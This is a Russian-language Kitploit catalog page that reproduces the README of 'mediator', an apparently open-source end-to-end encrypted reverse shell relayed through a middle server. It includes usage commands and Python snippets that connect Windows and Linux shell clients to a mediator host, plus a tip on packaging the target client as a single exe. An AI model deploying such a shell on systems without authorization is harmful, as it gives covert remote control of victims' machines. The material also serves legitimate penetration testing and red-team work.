Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mediator — Расширяемая, сквозная зашифрованная обратная оболочка, работающая через сети без перенаправления портов. | Kitploit
Инструменты/GitHubGitHub/lawndoc/mediator
Инструменты шифрования/дешифрованияОбратная инженерияТестирование на ПроникновениеКомандование и УправлениеУтилиты и фреймворкиRed TeamingРеагирование на ИнцидентыИнструмент Удаленного Доступа
GitHublawndoc/mediator

mediator

Расширяемая, сквозная зашифрованная обратная оболочка, работающая через сети без перенаправления портов.

Репозиторий
100132 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

mediator logo

Mediator — это сквозной зашифрованный reverse shell, в котором оператор и оболочка подключаются к серверу-«посреднику», который соединяет эти подключения. Это устраняет необходимость для оператора/обработчика настраивать проброс портов для прослушивания входящего соединения. Mediator также позволяет создавать плагины для расширения функциональности reverse shell.

Скрипты Mediator можно запускать как отдельные исполняемые файлы или импортировать для интеграции в другие инструменты пентеста и реагирования на инциденты.

Архитектура:

Вдохновлённый приложениями для чата со сквозным шифрованием, Mediator предлагает уникальный подход к модели клиент/сервер reverse shell. Mediator использует:

  1. Клиентский reverse shell
  2. Клиентский обработчик/оператор
  3. Сервер, соединяющий два подключения

Reverse shell и обработчики подключаются к серверу Mediator с ключом соединения. Сервер слушает порт 80 для подключений обработчиков и порт 443 для подключений reverse shell. Когда клиенты подключаются к посреднику, сервер ставит их в очередь в зависимости от их типа и ключа соединения. Когда reverse shell и оператор подключаются к серверу с одинаковым ключом, сервер соединяет два подключения. После этого между двумя клиентами выполняется обмен ключами, и вся связь между reverse shell и оператором шифруется сквозным шифрованием. Это гарантирует, что сервер не сможет просматривать потоки, которые он перенаправляет.

Плагины

Плагины позволяют добавлять дополнительные команды, которые могут выполнять код на хосте оператора, на целевом хосте или на обоих! Пожалуйста, обратитесь к README в каталоге плагинов для получения дополнительной информации о плагинах.

Инструкции:

Сервер

Клиентские скрипты можно запускать в Windows или Linux, но сервер (mediator.py) необходимо развернуть на хосте Linux. Сервер написан на чистом Python, поэтому устанавливать зависимости не требуется. Вы можете либо запустить серверный скрипт командой

root@kitploit:~
$ python3 mediator.py

либо собрать Docker-образ с помощью предоставленного Dockerfile и запустить его в контейнере (не забудьте опубликовать порты 80 и 443).

Клиенты

Для работы клиентов необходимо установить зависимости из requirements.txt. Это можно сделать следующей командой:

root@kitploit:~
$ pip3 install -r requirements.txt

Смотрите раздел Советы и напоминания внизу, чтобы узнать, как распространять клиентов без забот о зависимостях.

Обработчик и reverse shell можно использовать в других скриптах Python или напрямую через командную строку. В обоих случаях клиенты могут принимать аргументы для адреса сервера и ключа соединения. Использование этих аргументов описано ниже.

Адрес сервера Mediator

При использовании в скрипте Python адрес хоста посредника требуется при создании экземпляра:

Класс Handler

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

Класс WindowsRShell

root@kitploit:~
from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

Если клиентский скрипт выполняется непосредственно из оболочки, вы можете либо жёстко задать адрес внизу скрипта, либо указать адрес сервера в качестве аргумента с флагом -s или --server:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com

Ключ соединения

Когда два обработчика или два reverse shell подключаются к серверу посредника с одинаковым ключом соединения, только первое подключение помещается в очередь в ожидании пары. Пока подключение в очереди не истечёт по таймауту (30 секунд) или не найдёт пару, все остальные клиенты того же типа, пытающиеся подключиться с тем же ключом соединения, будут отклонены.

Важно убедиться, что каждый обработчик использует уникальный ключ соединения, чтобы избежать состояния гонки, при котором не та оболочка будет передана оператору.

Сервер принимает только ключи с префиксом "#!ConnectionKey_". По умолчанию ключ соединения — "#!ConnectionKey_CHANGE_ME!!!".

Чтобы изменить ключ соединения при использовании в скрипте Python, ключ соединения можно необязательно указать при создании экземпляра:

Класс Handler

root@kitploit:~
from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

Класс LinuxRShell

root@kitploit:~
from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

Если клиентский скрипт выполняется непосредственно из оболочки, вы можете либо жёстко задать ключ соединения внизу скрипта, либо указать ключ соединения в качестве аргумента с флагом -c или --connection-key:

handler.py

root@kitploit:~
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

root@kitploit:~
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

Советы и напоминания:

  • НАПОМИНАНИЕ: обработчик и reverse shell будут соединены вместе, только если они подключатся к серверу-посреднику с одинаковым ключом соединения в течение 30 секунд друг от друга.
  • СОВЕТ: Вы можете легко создать exe-файл для windowsTarget.py с помощью pyinstaller, используя флаг --onefile.
  • СОВЕТ: В целях безопасности следует использовать случайно сгенерированный ключ соединения для каждого сеанса. Если злоумышленник узнает ваш ключ соединения и будет спамить им по порту оператора, ваш клиент оператора не сможет подключиться из-за того, что сервер не допускает повторяющихся соединений, и злоумышленник будет подключён к оболочке вашей цели.
Скачать инструмент